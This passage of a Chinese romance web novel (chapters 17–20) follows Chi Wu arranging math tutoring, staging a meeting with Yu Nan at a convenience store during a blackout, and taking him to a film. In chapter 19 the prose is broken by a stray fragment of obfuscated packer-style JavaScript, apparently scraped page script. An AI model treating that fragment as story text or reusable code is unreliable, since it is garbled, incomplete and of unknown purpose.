天杀的,他去哪恶补高中数学,能一周之内就从个白痴学渣晋升成绝顶天才? 迟雾再打开微信,在好友页面翻了翻,从头翻到尾,又从尾划到头。说实话,他一向不怎么看重学习,一对着那本本教材就脑袋疼,就像是有个薄薄的石块在他空荡荡只有水的脑袋里不停打水漂,换作是谁,都会趋利避害,逃避那种有触发点的可控疼痛。 而班级里那群学霸也几乎和他无甚交集,迟雾在学校里就像个两耳不闻窗外事的老年人,整天就抱着本童话书有一搭没一搭地看,那些童话早就被他看了千八百遍,烂熟于心,着实无趣,但除此之外,也没什么可打发时间的事了。 他的世界如同定格在钟表内的那根秒针,分明被沙漏中坠落的沙砾狠狠地砸击着,催促着他转动,可他被钉死在表盘中央,麻木地兀自转动后却不知晓自己转动的意义。人类只会盯准表盘上的分针与时针,他这个细小的秒针哪怕转得快了些许,成了个飞旋的小陀螺,也无人在乎。 无可奈何。 迟雾敲开温琳的聊天框。 温琳这人算是混不吝的公子哥,但在学校里也算个出尽风头的风云人物,尤其是那张雌雄莫辨的漂亮脸蛋,更是招人喜欢,不少男男女女追捧,他的人脉也是最广的,脚跨“黑白两道”不成问题。 [迟雾:你有顾宁一的微信吗?] 那头秒回,估摸着正在拿手机和人聊天。 [温琳:有,干什么?] 温琳直接一条语音通话打过来。 迟雾等了两秒,想了想,还是接了。 “噔”得一声接通音后,那边便传来嘈杂细碎的背景音,勉强能辨别出两句插科打诨的话,还掺杂着叫牌的声音,“我可要胡了哈!” 温琳应当是往外走了走,嘈音低了两分,他的声音压盖在上头清晰地传来:“咋了,你又打顾宁一的主意了?他可是直的哈。” 什么叫又。 迟雾有些无语。 温琳和苏贺年这俩人前后几出戏码把他搞得像什么滥情多情的缺爱患者一样,仿佛随时都准备随手挑拣出来个相貌不错的儿郎就塞进嘴里咀嚼两下吞咽下去。 迟雾后悔接这通通话,但还是耐着性子说:“我要好好学习了,想找个人给我补补课程,我记得顾宁一好像接家教兼职吧?” “嗯。”温琳摆弄着手里盛装着淡粉色鸡尾酒的酒杯,说:“但是他好像是教初中小孩儿的吧?怎么着,你打算返老还童,回初中重新修炼?” 温琳没压着,直接笑出了声,上气不接下气,“苏贺年还和我打赌呢,结果你这头还没踏进情场,就直接往知识的海洋里跳了,打算给我们表演一段漂亮的蛙泳?” 他的笑声着实震耳,迟雾面无表情地把手机挪开了些,等那笑声压下去了才重新把手机贴过来,说道:“别管,把顾宁一微信推过来,不推我就找别人了。” “别呀。”温琳连忙说道:“我可没说不推,就是觉得挺稀奇的,你这是打算头悬梁锥刺股,逆袭一波然后靠自己的双手继承家业了?” “没。”迟雾对家业没什么想法,温琳却是家里的独生子,从出生的时候就被作为继承人培养,各项履历极为优秀,只不过近几年突然冒出来个什么私生子,还被温琳他爹给领回了家,温琳才开始玩心愈增,像是被压抑久了后终于出笼的欲望,无论面对什么都蠢蠢欲动,全然释放天性,好似就此便不管不顾了。温琳对家族企业这方面的事情了解甚广,像是还未就业便染上了职业病,他有事没事就把“继承家产”这四个字牵出来溜溜。 迟雾想解释句是为了于南,但话到嘴边又停住,仔细想想,把“于南”给牵进来也只会让温琳调侃两句有的没的,他又不会帮忙出什么实际性的建议,干脆就闭嘴不谈,只说:“最近有点儿无聊,想学习一下,当打发时间了。” “那你这打发时间的方法可还真新奇。”温琳的声音由近及远,应当是把手机从耳侧拿下来了,只听“叮”得一声,顾宁一的微信就被推了过来,而温琳的声音再次拉近,他说:“嫌无聊就来找我玩啊,你要是对这些东西没兴趣,我最近又研究出来个新乐子,城南那一片新开了个酒吧还不错,里面有不少打牌好手,牌的样式有不少新奇没见过的,挺有意思的,不碰钱,纯找乐子。” “算了。”迟雾无甚兴趣,他对数字敏感,连带着看纸牌上的简单数字都觉得头晕目眩,这么一晕,出牌时比别人迟钝不少,有他在的牌局,他绝对是输的最惨的那个,之前在学校里输了的画王八,迟雾直接被他们用王八在胳膊上拼接出来条五颜六色的花臂,为此还被苏贺年笑话了好一阵。 “行吧。”温琳又问:“你的那个小丘比特呢?他怎么能让你无聊呢?” “哪来的小丘比特。”迟雾感觉他俩之间有代沟。 “就那个……..于南?是这名字吧。”温琳说。 迟雾语塞两秒,说:“干什么叫他丘比特,丘比特是射箭的小孩,连衣服都没穿,于南不会射箭,也不会光着身子站在我面前。” 温琳说:“丘比特不是爱神吗,他不是你的only love吗,就一形容词。” 迟雾重复了遍:“丘比特没他好。” “行行行。”温琳又说:“那以后叫他大好人……..” 他话还没说完,就听见“噔”得一声,通话被挂断了。 迟雾这人,永远都是无事不登三宝殿,和他们这群成天厮混在一起谈生说死的消遣之徒不尽相同,好像他天生就不属于这个纷扰的圈子,真就成了迟母期许的那样,只关心小部分事,却没像她期许的那样热爱钢琴。 温琳看着手机笑了声,朝着远处的人群高举酒杯,掀起气氛般将酒一饮而尽,而后在数道视线的簇拥下走到场地中央,他蹲在那还坐在椅子上的人面前,歪了下脑袋,颇为无害道:“你也喜欢弹钢琴吧?” 那人垂眼看着他,无甚表情。 温琳笑了下,站起身,说:“有人需要你。” 迟雾发送过去好友申请,很快那头就通过了神情。 还没等迟雾发过去消息说明原因,那头便率先发过来条—— [顾宁一:什么时候?] 看来是温琳事先说过了。 [迟雾:尽快,明天开始可以吗?] 那边出现这在输入中的字条,过了两分钟才回复。 [顾宁一:可以,时间。] 顾宁一这人才是真正的两耳不闻窗外事,一心只读圣贤书,待人待事尽数冷淡寡言,身上的穿着也是尽可能精简,迟雾之前百无聊赖地观察过他一阵,他身上永远穿着一成不变的白衣服,春秋是白T,夏天是校服短袖,冬天则是纯白卫衣,脚上的鞋也向来都是纯白运动鞋,看不大出来家境如何,应当还算殷实,但他课外时间却通通用来做兼职赚钱,又让人有些摸不透。 迟雾思忖了下时间。 他自然什么时候都可以,更是恨不得二十四小时都用上,只为七天创造一个不朽的奇迹。 七天从晕数字且脑袋空空进修为精通高三数学知识。以后哪个学弟学妹要是学不动了,就把他这个事迹当作名人事迹来拜读一番,怕是立马连喊妖孽得同时被狠打一记鸡血。 妈妈再也不怕我学习没动力啦! 迟雾敲字。 [迟雾:你都什么时候有时间?我想尽可能多学。] 那头回复了个ok的手势表情。 让人捉摸不透是什么意思。 他这是答应尽可能多给他些时间,还是考虑考虑? 迟雾摸不着头脑,干脆不去想。 明天有明天的凄惨死法,他今天还要打扮得体地去假装和于南偶遇。 迟雾的行程表可算是被挤压得一丝水都没有。 半个小时后,他穿着套灰色休闲装,出现在便利店所处那条街的转角红绿灯下。 迟雾扯了扯衣摆,觉得有点儿不满意,他想穿得正式些,搞套西装什么的他也不是没想过,但哪有人穿得那么西装革履在大街上来回闲逛的?这种情景下的偶遇怕是比虚拟人生里的财富可兑到现实还要让人难信。贴近他给自己设定的情形,饭后散步,但耳朵里挂着的耳机正播放着高数广播,他一时听得入迷而忘了注意方向,不知不觉就走到了此处——鬼知道他编了多久才编出来这么个背景设定。 够离谱,但也是他唯一能借用的了。 又能凸显他热爱数学这一特点,又能让他的出现合理化,还不知不觉给他打造了个无欲无求的形象——饭后不立马上床进被窝睡觉,还出来散步,可不就是无欲无求吗。 昏暗月色下,于南在过街时,一抬眼便看见个在对街徘徊踟蹰又时不时朝自己瞥两眼的人,和自己对视后,他还装模作样地直了直脊背,一手扶着耳朵上挂着的耳机,嘴唇不停嚅嗫,似是在说着什么。靠近了些,于南听清了—— “微积分!” “复变函数!” “概率论!” “cos360度!” “sin870度!” 于南:“……..” 于南脚步一顿,还没做出反应,迟雾便率先转过身朝他挥了挥手,甚至脸上还故作惊讶,只不过他演技拙劣,惊讶时眉头挑得老高,嘴巴刻意张开,凉风往里猛灌了口,冰得他一阵牙酸,又只能忍着,在心里默数着三二一,才闭上嘴,扬着声音说了句:“哎呀!于南好巧啊,我吃完饭出来散步,不知不觉就沉醉于高数之中了,没想到迷路了,就碰见你了,你说巧不巧?” 他打哪琢磨来的台词,声调起伏参差,差距大得像条紧绷的弦刚发出个音调就被熊孩子用大砍刀给毫不留情地砍断了。 于南说:“巧。” 迟雾顺势笑了下,走到于南身侧,问道:“你也是饭后出来散步吗?要和我一起讨论一下数学问题吗?” 按照他的预期,于南会说不要,然后火急火燎地跑进便利店里准备上班,谁知于南只是调整了下站立的方位,风将他的头发吹得凌乱,也将他身上淡淡的香味吹拢向迟雾,将他彻底压住。 于南一手插兜,一手摸上耳边助听器,调整了下,才说:“微积分?复变函数?概率论?还是正弦余弦?” 迟雾被噎了下。于南不会真要讨论吧。 完了。 这下打肿脸充胖子的骷髅兵真要被巴掌抽了。 迟雾一时不该作何反应。 于南就那样眉眼含笑地 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于南看了他两秒,偏转视线,朝着便利店玻璃窗里看了眼,不偏不倚地和里面正等着他换班的员工对上视线,他微微颔首,示意他稍等,才重新摆正视线,觑着迟雾说:“不需要上课吗?高三学业很紧张,没必要专门翘课出来看我吃没吃药,放心,我不会骗你的,我吃药了,而且你不是还要备备课吗?争取早些教会我高三数学,再教教我你嘴里那些微积分什么的。” 他一把“微积分”这个名词抬上来,迟雾这个空壳子的骷髅兵立马心虚下来。 迟雾摸了摸脑袋,说:“也、也对,那等我放学了再来找你可以吗?” “好。”于南说:“我等着。” 说罢,他便率先进了便利店,留着迟雾在原地。 迟雾看着他的背影,暗自给自己竖了个大拇指。 人设打造成功! 找借口去于南家成功! 和于南套近乎特别成功!! 迟雾算了算时间。 五点钟下课,下课后直奔于南家,然后踩点儿回家上钢琴课,差不多能在于南这儿待半小时左右,时间不长不短,正适合他们现在还不算太熟的关系。 迟雾松了口气,还好他不像旁的高中里的学生一样要被强制性自愿上晚自习,晚上有大把的时间,否则放学都十点钟了,那时候于南早就去上班了,哪有机会让他去他家里。 他又想了想,他和于南说过他上高三吗?这个忘了,可能说过吧,但于南怎么知道他不用上晚自习的?他说过吗? 在医院里无意识的絮语太多,且杂,如今迟雾都分辨不出他早上的时候到底和于南都说了些什么,只得把这事掀到脑后,转而进了便利店。 于南已经换好班,正站在收银台里清点商品,为一位顾客算账单。听见迎客铃响,他掀起眼皮朝着迟雾看了一眼,看见他没走也不惊讶,重新低下眼做手头的事。 迟雾想就这么站在门口,站在他视野正中央,让他端端正正地看自己一会儿,但又觉得这样实在是太像没脑子的傻子,呆愣愣地站在人家店门口半天结果什么都不买,太傻了。 他才一步一停顿地往货架深处走,直到视线全部被遮挡,也没能再何于南对上一次视线。 迟雾站在冷柜前,挑拣了下,从里面拿出两盒酸奶,他又想起来九月三那只凶巴巴的狼犬总是趴在角落里边啃火腿肠,干脆又找了圈,拿了两袋即食鸡胸肉,而后才走到收银台去,那手里的东西一口气放到台面上。 方才那顾客已经走了。 这个时间算是忙碌前的短暂闲适,店里就剩迟雾一个顾客。 于南把几样东西扫了下,正准备装袋,就听见迟雾说:“等等,我还要关东煮。” 杀千刀的。 做鬼的时候被关东煮的香味馋得要死,现在他可算能把这罪恶的东西施以啃刑了,他要把他们通通啃成丑陋的四不像形状再吃下去。 于南拿起夹子,迟雾点了几样,他挨个夹到塑料盒里,打封包装好。 迟雾看着他不急不缓的动作,一时被关东煮升腾的热浪冲昏了脑袋,觉得眼前这一幕特别像贤惠的妻子在给丈夫打包便当。 他是丈夫,于南是妻子。 或者他是妻子,于南是丈夫也可以。 都一样的。 于南把关东煮和其他东西一桶装进袋子里,交递到迟雾手上。 迟雾却拎着它们放到了收银台旁的木桌上,又坐下。他拆开关东煮,叫了于南一声:“于南,你能陪我一起吃吗,我好像买太多了。” 可不是简单的买太多了。 那塑料餐盒极大,一般人买关东煮也就装半盒,胃口稍大些的顶多也就装一盒。 可迟雾整整装了三大盒。 几乎把便利店内的关东煮一网打尽。 期间,于南不停看他,还问他能吃完吗,可他正沉溺在妻子and丈夫的和谐相处甜蜜恋之中,压根儿听不见那话。 然后,就出了这一遭。 不过也正中迟雾下怀。 他本来就打算拉着于南一起吃的。 迟雾眨眨眼,又问了句:“于南,行吗。” 18. 第 18 章 于南两手撑着收银台面,稍微偏转上半身,扭头看着迟雾,说“上班时间,恐怕不行。” 迟雾霎时泄气,说:“好吧。” 他拆开双木筷,在关东煮的塑料盒里夹了块萝卜出来,而后就那么盯着白萝卜上的汤汁一点点往下流,好像那样就能更快地消磨时间,快进到于南的下班时间。 于南看了眼门口,又看了眼外面的街道,见行人匆匆,无人有要进便利店的趋势,便抬起收银台侧阻隔的小木板,从里面出去,而后走到迟雾身边,不动声色地调整了下站位,遮挡住小部分摄像头投射过来的视角,伸手敲了敲桌面。 迟雾侧眸看他。 于南递给他几张不知从哪冒出来的抽纸,说:“小心汤滴到衣服上。” 迟雾兴致缺缺地接过手纸,说:“谢谢。” 但就在于南的手指要从纸张上脱离那刻,他明显感觉到自己的指甲上端被人用指腹轻扫了下。于南看着迟雾那毫无知觉的模样,就知道他是无意的。 迟雾演技拙劣,演不出来这么自然的不经意。 于南蜷缩了下手指,淡定地收回手。 迟雾深恶痛绝地咬了口萝卜,嘴张得特别端正,是个椭圆,萝卜上被咬出个格外清晰明了的齿痕,数个小豁口叠连在一起。他重重地咀嚼两下,才发现鼻息间那股香味儿还没散,他后知后觉地扭头看了眼,就看见于南还站在他身侧,垂着眼看他。 于南那张脸,他真是百看不厌,迟雾就那么边机械式地咀嚼,边将视线停留在于南身上,整个人被框在了电影的慢镜头里,虽不至于一眼万年,但这么一眼,他能盯上两个钟头。 迟雾这张脸也长得极为出挑,皮肤白皙,原以为他眸子是纯黑色的,但他这么仰头顶着光,才发现这人是浅眉浅瞳,眼形也是极其无害的椭圆形,眼尾稍微往上吊着,却不像狐狸眼一样让人一眼便望而却步,而是给人一种像是有什么话要说却又说不出口,只能那样眼巴巴地盯着你看等你读懂他的感觉,可以说是一言未发却又剩千言万语。 更妙他鼻梁正中央还有颗小痣,像是流偏了的一滴泪。 于南发现那颗痣的颜色淡了,几年前还是深黑色的,如今却愈发浅淡,变成了和它主人瞳孔一样的棕色。 迟雾手一松,筷子不稳,夹着的萝卜就掉到桌子上,而后磕磕绊绊地滚了一圈,在桌沿处一卡顿,倏地就掉到了迟雾的裤子上,还在临近腿根的位置浸湿出一滩让人尴尬的水渍。 他回过神,连忙站起身,用那几张纸狂擦裤子。 谁也没成想,这纸这么快就派上用场了。 迟雾动作格外慌乱,甚至刻意背过身,用后背对着于南,当着他的面用纸蹭腿根,实在是太狼狈。 于南又抽了两张纸递过去,迟雾把手伸出去接,随意一抓,却没抓住纸,而是颇有准头地抓住了于南的手指,就像是十指相扣的前奏般,两人手指交叠着,只不过一人站立着,平静以待,一人弓着腰,连眼睛都不敢抬起来。 “谢谢。”迟雾说。 却在这话刚落地那刹,便利店内机器运转声猛地一重,呈现一种卡顿的运行状态,而后在巨响消止刻,整个世界如同被拖入看不见出口的深渊般,彻底陷入黑暗中。 而街道外的明亮也以渐渡的形式快速消失。 整条街道就此停电。 视觉光亮被掠夺那刻,听觉好像也一同被顺带着剥削而去,周遭是让人心慌的死寂,直到两秒后街道上疾驰而过的一道车鸣声打破僵局。 “停、停电了?”迟雾收回手的动作一顿,反而下意识地抓紧于南的手,整个人也陷入极度紧张之中,他往于南身侧贴近了些许。 他不怕黑,但出于对未知的恐惧和敬畏,有时陷入彻底的黑暗时还是无可避免地心慌。 于南能感受到掌心中似绳索般套牢自己的那双手,而迟雾整个人更是贴到他身上,两人手臂紧挨着。他的员工服是半截袖,贴上去那刻能感受到迟雾外衣的触感,很软的料子,在他皮肤上来回蹭着。 于南弯着手指,指腹短暂地贴上迟雾的手背,而后又虚虚松开。 很奇妙。 一个人全心全意地依附着你,像攀沿在老树上的藤蔓终于长出一颗脆弱的果子,四周生灵都小心以待。 以前迟雾就是这样依附着他的。 只不过是很久之前了。 于南说:“停电了,怕吗?” 迟雾听见他的声音就觉得好了不少,刚想逞强说不怕,但话到喉头又被他咽下去,他小声说:“我怕。” 迟雾以这辈子最快的速度甩掉手上已经脏了的纸,将两只手交叠着,一前一后地握住于南的左手,他又更小声地补充了句:“特别怕,你能别松开我的手吗?” 而后,他就感觉到,于南将另一只手覆在他的手掌上,动作很轻地拍了拍。他说:“好,你别怕。” 迟雾只想说这电停的实在是太太太是时候了! 谁说停电不好?这电停的太棒了。 迟雾说:“什么时候来电?” 他暗地里祈求了下,最好明天中午再来电,最好让于南就此下班,然后他俩手拉手出去约会。 于南四处看了下。 倏地。 不知从何处传来一道声音。 “于南,是停电了吗。” 这声音出现得太过突然,迟雾被吓了一跳,整个人又往于南那侧缩了缩,像是恨不得就这么躲到他怀里去,让于南抱着他哄。 但也就是想想,迟雾贴了两秒,便又往后退了退,怕于南在心里给他打上太过胆小的标签,那就得不偿失了。 于南的手再次拍了拍他的掌背。 迟雾还能感觉到缠绕的纱布在他手掌上擦过时有些痒的感觉。 迟雾忍着没吭声。 于南牵着他朝着收银台的方向走去,还提醒他注意脚下,直到摸到了收银台旁,于南才熟稔地从一角拿起个小巧的对讲机,摁下按键,稍微提起声音回了句:“停电了,好像是大区域停电。” 对讲机上的红色亮灯闪烁了下,再次传来道声音:“临时下的通知,电路维修出了差错,导致附近几条街道都停了电,正在紧急维修,说是可能要后半夜才能修好。” 于南说:“我去仓库找找发电机。” “发电机坏了,刚送去修,还没修好。” 那人的声音也随着机器撕扯成不大真实的电子音,迟雾都怀疑这对讲机是不是要漏电,连忙抓着于南的手更用力些,要是漏电电人,就把他俩一起电了吧,不能让于南一个人被电成黑皮爆炸头,不方便以后搭情侣装。 于南回握着他 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今晚的月亮被厚云遮得很严,几乎只有少许的光能挤进来,迟雾借着那点儿光只能看清周遭毫厘处的情况,根本看不见收银台后。 他百无聊赖地蹲下身,一如当鬼时蹲在门口观察别人一样,他现在甚至在想,这世界上,会不会不止他一个又是人又是鬼的家伙,可惜无人能够为他解惑。 迟雾感觉到口袋里的手机一震嗡响。 他掏出来看了眼,是顾宁一。 顾宁一发过来一长串学习资料,迟雾挨个点进去看,仔细看了两眼。 怎么全是初中学习资料啊? 迟雾也这么问了。 [顾宁一:不是初中吗?] 迟雾就发现温琳跟他讲了,但讲的绝对是他要从头学起。 迟雾便回。 [迟雾:要学高中的,高三的数学。] 这条刚发出去,迟雾就听见由远及近的脚步声,连忙把手机收起来。 于南手里拎着两个塑料袋,一个是属于迟雾的那个大塑料袋,还有个是打包吃食的小塑料袋。 迟雾想伸手去接塑料袋,却被于南躲过。 于南推开门,说:“走吧。” “哦。” 迟雾跟在他身后出去。 一到外头,冷风横扫而过,冻得迟雾一哆嗦。 迟雾看着于南放在自己面前的背影,问:“你要回家吗?” 于南转过身,没答话,像是默认。 但这附近街道都停电了,更别说他那个小地下室了,更是黑的伸手不见五指,怎么走下去的楼梯都是个问题。 迟雾心知肚明地问:“你是住在这附近吗?” 于南抬手指了下对街,“我就住在那儿。” 迟雾便趁此说道:“那你家也停电了,这么早回家也什么事都做不了,不如我们去看电影吧?然后到了该换药的时间我再送你回来。” 于南看着他没说话。 迟雾特别熟练地补充了句:“不是普通的电影,是有关数学的。” 他沉吟数秒,才笑着说:“算是科教片。” 迟雾伸手勾住于南的掌心。 “去吧,去吧。” 19. 第 19 章 于南到底还是迁就着他,答应下来,但这头一点,手被人勾着往前一牵,绕到后街去,他就看见了停在昏暗处也依旧让人一眼便注意到的骚包红色跑车。还是早上那辆。 迟雾在兜里摁下车钥匙,一直牵着于南到车门前,给他来开门,才避让了半步,稍松开手。 于南没动,他扫视了眼车内放着的那捧比白日里更大更鲜艳的红玫瑰,挑了下眉头。 “饭后散步?迷路?” 他还是第一次见人开着跑车载着玫瑰花“散步”的。 迟雾摸摸鼻子,干笑了下,开始装傻,“不知道这车怎么出现在这儿的,刚才突然就感应到了。” 他连忙伸手去接于南手上拎着的两个塑料袋,而后伸出右手做了个请的动作,说:“请进。” 路道上有狂奔而过的学生,应当是对小情侣,一男一女手拉着手,风掀起头发,视线却未被掀走,而是精准无误地定格在跑车前两人的身上。那个男生嘴里还叫喊着没说完的话:“呜呼!停电了还上什么课,回家回家!!” 而后,话落,嘴就忘了合上,他盯着跑车,又看了眼迟雾和于南,扬着声音喊了句:“哥哥啊,这车够帅啊!” 迟雾没了在于南面前那伪装的乖顺,侧着身子朝他投过去个视线,扬扬下巴,说:“你们也够帅啊,在夜里手牵着手狂奔。” 那女生朝着迟雾回了个灿烂的笑。 看着两道身影跑远,迟雾才悠悠来了句:“他们学校的发电机也坏了吗?” 于南忍俊不禁,先坐上了车,说:“走吧。” 迟雾上了车,看于南又把那捧玫瑰花放在了脚下,便佯装无意般随口问道:“这花不好看吗?” “好看。”于南说:“又是送给自己的?” “没。”迟雾调出音乐,在首钢琴曲缓缓流淌而出那刻,他接着说:“想送给你的。” 于南顺势说:“饭后迷路的时候就才想到会遇见我了?” 迟雾干脆闭嘴。 行吧。 说多错多。 说的越多,暴露的越多。 他就是个笨蛋。 夜幕之下。 跑车划出一道干脆利落的光影。 钢琴曲后自动跳转出手曲调低缓的情歌。 迟雾听了两秒,节奏还行,就没切歌。 他余光里看了眼于南,发现他一直在看着窗外的街道,也不知有什么好看的,迟雾趁着等红绿灯的功夫也往外看了眼,除了人就是楼,出了楼就是车,哦,还有被牵出来的宠物狗。 再普通不过的景,说实话,真没什么新奇的。 迟雾觉得是自己没有发现美的眼睛,于是就问:“于南,你看什么呢?” 于南看他一眼,抬手指了指外侧,说:“那对早恋生。” 迟雾顺着他手指的方向看去。 还真是巧。 也不知道那对小情侣是不是踩了光速,居然瞬闪到这儿,此刻正站在街边的一个小摊前,女生从老人家手里接过滚烫冒热气的烤红薯,男生则从一旁拿了根淀粉肠。 快到冬天,这些冬季小吃摊也日渐增多。 学校门口的这类小摊更是多得不胜其数,几乎放学铃一响,就能看见一条条长龙从教学楼里奔出来,挨个排在小摊前老实交钱等吃食,为此,有不少学校里边还有好事群体给校门口的小吃摊列了个排行榜,按口味来排的。 这类榜单在哈市传了有些年头,里面的年份标注更迭,小吃摊却不怎么变,几乎每年都是那几个人。 迟雾的学校门口没这类小吃摊,就经常跑去别的学校门口吃,因此,那份榜单他手机里也有一份。 至于于南刚才说的——早恋生。 迟雾后知后觉地笑了声。 “于南,原来还能这么叫。” 于南也跟着弯了下眉眼,说:“以前不懂事的时候我弟弟起的,他就管这些早恋的学生叫早恋生。” 弟弟。 又出现了这个人。 迟雾暗暗打探道:“你弟也早恋了?” 于南没答这句,而是问他:“你早恋了吗?” 迟雾说:“没有。” 他这人在感情上一向不开窍,可以说是被人把情丝当成缝线给扎秋衣上了,密不透风,根本没人能碰上一碰。 这些年,青春悸动,身边的人有不少触碰那层禁忌悸动的感情,迟雾也看了不少,觉得好像大多都是一个模子里刻出来的瓷娃娃,立在那儿笑,笑完了再哭,哭完了就被扔在地上砸成碎片,然后再买个新的。 好像也就这么一个流程了。 迟雾给他带进去了,忘了前头的问话,顺着杆子往下捋:“那你早恋了没?” 于南说:“我都二十一了,不叫早恋了。” 迟雾说:“我知道,那之前呢?” 于南缄默片刻。 迟雾的心也随着等待再次飘到路旁的小情侣身上,他们牵手,面对着面说笑,互喂烤红薯,还羞涩地躲避着旁人的视线,悄悄地在对方的手掌上亲吻了下。 青涩又美好。 于南会和别人做这种事吗。 “之前也没有。”于南说。 迟雾不信,于南长得这么好看,怎么可能没人追,要是有人追了,难不成就没一个有本事把于南的心给塑成瓷娃娃的? 迟雾又问了句:“没人追你吗?” 这句于南答得干脆,他直勾勾地盯着迟雾,说:“有。” “哦。” 这下问出来点儿东西了,迟雾又不得劲了。 他觉得自己的骨头就个干枯的老树,里面长满虫子,没人管他,他憋屈,啄木鸟来啄他,他又疼。 迟雾不再多嘴了,红灯转绿,他一脚油门踩下去,车群中一抹红遥遥领先。 于南看着他那明显瘪下去的嘴,意味不明地笑笑,主动搭话:“有人追你吗。” 迟雾如实答:“有吧。” “有吧?”于南重复了遍。 “嗯。”迟雾说:“有递情书、送水的,但没什么用,都不是我喜欢的,追人不是应该给人喜欢的东西吗,他们追我的第一步甚至都不是了解我。” 他这话说的大义凌然,但实际上,当初于南也没先开始了解他,只不过是他单方面一眼定情,而后就开始死缠烂打,用那丁点疼出来的眼泪去惹人怜悯。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“一啊,是数字,科普爱情也算是科教片吧,而且这部电影不仅仅是爱情片,他其实内涵的数学道理也挺深奥的。”迟雾一本正经地说,脚下踩了刹车,将车停在影院的地下停车场里。 但等拿到票根。 两人一手抱着一桶爆米花进场,坐到最后一排,身边的座位都满员,全部都是亲热的小情侣在窃窃私语,于南都没看出来究竟哪儿深奥了。 影院关灯停亮。 大屏幕上跳转着最近即将上映的电影广告,光亮洒在脸上,迟雾拿起颗爆米花递到于南嘴边,说:“吃一颗吧。” 环境昏暗,也柔和了脸上棱角。 于南没直接去咬,而是抬手接过,才放到嘴里。 爆米花甜得人牙疼。 他很久没吃过这么甜的东西了。 一是吃不到,二是他也不爱吃。 迟雾却特容易满足地一颗接着一颗投喂。 于南吃了几颗,电影便拉开帷幕。 开屏就是段缠绵且遐想无限的激吻,黏腻的氛围几乎要溢出屏幕,身侧的小情侣也凑得更近了些。 两人面前那对小情侣则是干脆来了个被点燃的吻,但可能尚且顾忌着场合,两人轻触及分。 很清淡的吻。 于南的视线从大屏幕上往周遭飘了飘,便感觉到自己的嘴唇也被人碰了下,垂眼一看,是迟雾拿着颗爆米花不小心碰到了。 于南问:“深奥?” 迟雾盯着屏幕,眼睛都不眨一下:“够深奥。” 20. 第 20 章 这场电影像是看了,又像是什么都没看。 男女主角的拉扯一环绕着一环,但都是些奠基在旧情暧昧的基础上,好了又坏,坏了又好,而周遭的小情侣却是从头就好得彻底。 于南甚至觉得他不是被带来看电影的,而是被人诱.拐到了学校后山的小树林里,不知哪处就陡然出现对正在激吻的小情侣,他的视线成了无限避让的山路十八弯,直勾勾地盯着人家看,有失礼数,直接把视线偏转过去,又看不大清屏幕。 他只得把注意力分散到别处,譬如迟雾时不时递过来的爆米花,又譬如他那浅浅靠近、若有若无蹭着自己手指的手掌。 气温也就此无限升高,许是被那无数个激情似火的背景板衬托的,又许是单纯两人靠得太近了。 迟雾说他有点儿热,便扯开了些距离。 于南以为他打算就此停止摩挲的戏码。 结果迟雾脱了外套,单穿这里面的半截袖,裸露着胳膊又靠上来。甚至半只胳膊都搭到了于南座椅圈揽的空间内。 迟雾还想再递过来颗爆米花,于南却率先拦截住,说:“你吃吧。” 迟雾把视线从大屏幕上抽离,看了他一眼,“你不吃了?” 于南直接学着他的模样,抓了两颗爆米花递过去,就在迟雾压着笑把脑袋凑近些等着他喂到嘴边的时候,于南的手掌在空中一拐——把爆米花放到了他越界的那只手掌里。 电影里配角被主角之间的再次破裂下了一跳,脱口而出一句——靠! 这也是迟雾想说的。 迟雾看着那两颗躺在掌心的爆米花,彻底笑不出来了,这就像是你拎着新郎服上门,准备好入赘,甚至提前做好晚间功课,结果对方直接踩着缝纫机就把你那套西装给改版成了纯棉睡衣,往你身上一扔,还顺带着句洗洗睡吧。 迟雾收了收掌心,把爆米花扔到嘴里,像咬仇人一样狠咬了两下,才又悄咪咪地把手臂再次搭过去。 “我有点儿冷。”他说。 于南缄默片刻。 迟雾又及时补充了句:“穿外套又太热,你让我靠一下就好了。” 要不是情侣座那场票已经售空,他还用得着这么费劲心思?早就整个人都贴到于南身上了好吧。 于南稍微挪动了下身子,往他那侧靠了靠。 迟雾立马扬起抹笑脸,把肩膀贴到他肩膀上,然后又用手抓住于南的手腕,没用什么力气,不紧不松的,但就这种若即若离的力道才让人浮想联翩,忍不住注意那处。 于南身上的香味经久不消,时时在鼻息萦绕。 迟雾闻着就不由分了神,低声问了句:“于南,你喷的什么香水,好香啊。” 于南闻不见自己身上的味道,听他这么说,下意识低了些头,想去闻,但下巴一低,就撞上凑过来的迟雾的肩头,一时没收住力,磕得他齿关都顺带着麻了一秒。 迟雾也被撞的肩头一痛,他自然地伸手去摸了下于南的下巴,手指摩挲着那处,动作很轻,声音更轻,“不疼不疼。” 像哄小孩,更像小孩笨拙地模仿大人。 于南莫名笑了下,他没躲,任由迟雾那么揉着自己的下巴,回了上个问题:“不是香水,是洗衣液的味道,蓝莓味的,但味道太淡了,我总是闻不到,你闻着很明显吗?” “特别明显。”迟雾肯定道:“比其他人身上喷了十来喷的香水还要明显,远远的就顺着风飘过来,很香,很好闻的味道。” 顿了顿,他又问:“你喜欢吃蓝莓?” “还好。”于南摇头说道:“没什么特别喜欢吃的,尝不出来什么味道。” 于南平静道:“小时候吃错了药,耳朵聋了,味觉也没一般人那么敏感。” 在医院治疗那段时间,于南吃什么都是只吃一点,不挑食但吃的实在是少,人也过度削瘦,迟延宁给迟雾找了专门照看他的护工和保姆,一日三餐都是做好送过来的,但迟雾吃饭就像是把小刀摆碎了扔嘴里,一口一股苦涩味,胃里还细拉拉得疼,吃食也都被他硬塞给于南,于南几乎成了个消灭垃圾的回收站,毫无怨言,却始终不见胖,那时候迟雾就觉得于南这人对吃饭没什么积极性,原来是吃不出味道吗? 迟雾一时张了张嘴,发不出声音,他揉着下巴的那只手也稍有停顿。 于南察觉到他的变化,颇为自然地将下巴下压地重了些,在他掌心蹭了蹭,视线如绫段般缠在迟雾的身上,他轻声说:“怎么停了。” 迟雾的手比脑袋快,接着小幅度地揉着,却在反应过来那刻又骤然停住。 两人的距离因为于南的这个动作拉的特别近,迟雾只要稍稍一偏头就能亲到于南的脸上。 迟雾的笑容再也压抑不住,他死抿嘴唇压了压,好半晌才开口说:“于南,你撒娇真可爱。” 于南彻底愣住。 他什么时候撒娇了。 迟雾顺势将手往他另一侧脸攀,将他的脑袋往自己这侧揽了揽,又刻意将肩膀抬高,等于南反应过来的时候,脑袋已经压在人肩膀上了。 这姿势,与电影中男女主角的姿势不谋而合。 于南彻底僵硬住。 